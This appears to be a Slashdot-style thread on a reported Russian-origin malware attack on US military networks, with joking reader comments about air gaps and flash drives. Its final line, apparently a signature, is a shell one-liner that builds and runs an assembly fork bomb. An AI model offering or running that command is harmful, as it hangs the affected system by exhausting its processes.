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Significant Russian Attack On US Military Networks
killmofasta notes an LA Times story on a severe and widespread attack on US military computers that may have originated in Russia. Turns out the military's recent ban on flash drives was a precursor to this attack, which was significant enough that the President and the Defense Secretary were briefed on it. "The 'malware' strike, thought to be from inside Russia, hit combat zone computers and the US Central Command overseeing Iraq and Afghanistan. The attack underscores concerns about computer warfare. 'This one was significant; this one got our attention,' said one defense official, speaking on condition of anonymity when discussing internal assessments. Although officials are withholding many details, the attack underscores the increasing danger and potential significance of computer warfare, which defense experts say could one day be used by combatants to undermine even a militarily superior adversary. ... [A defense official said] 'We have taken a number of corrective measures, but I would be overstating it if I said we were through this.'"
... to have sensitive systems directly connected to the internet?
Oh , wait...
So umm, how's that Vista working out for you? What'd they use for the attack? Solitaire?
I'm not anti-social, I'm anti-idiot.
$100/hour to install air-gap firewalls on sensitive/classified networks. (Includes rental of scissors.)
"It doesn't cost enough, and it makes too much sense."
Just remember that just because it originated in Russia does not mean that this was a Russian Government attack (though it could have been known about and ignored by them if it wasn't) - it just happens to have been in Russia - the headline is a little misleading in that sense.
But surely there are just evil dudes and dragons beyond our borders jealous about our freedoms (ignore DRM, unwarranted phone snooping, etc for this argument)? I know for sure that there are ice dragons and Igloo dwellers to the north. To the east there is meant to be an old continent, but I am yet to be convinced of its existence. ;)
Jumpstart the tartan drive.
Yeah, we all know what happens when you connect military computers to the internet. Mostly because we all saw War Games.
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The British Intelligence have learnt how to avoid infecting their systems with infected flash drives. They leave them on the train where they can't do any harm.
If thse attacks are successful, they will replace the old practice of dropping leaflets on enemy soldiers... Now when the modern soldier opens his e-mail, he will be greeted with "Feeling ashamed of your small willy, we can help" etc etc
Better luck next time, Slugheads!
Why not have all these genius Slashdotters run the entire network? They seem know so much more about these systems, their funding limitations, and functional requirements than the admins.
Or, we can question and challenge the government to do better without arrogantly pretending we're so much smarter than *everyone*.
Like that poor Brit who was looking for info. about UFOs.
That Brit was a Red. He gave an interview to the Guardian.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;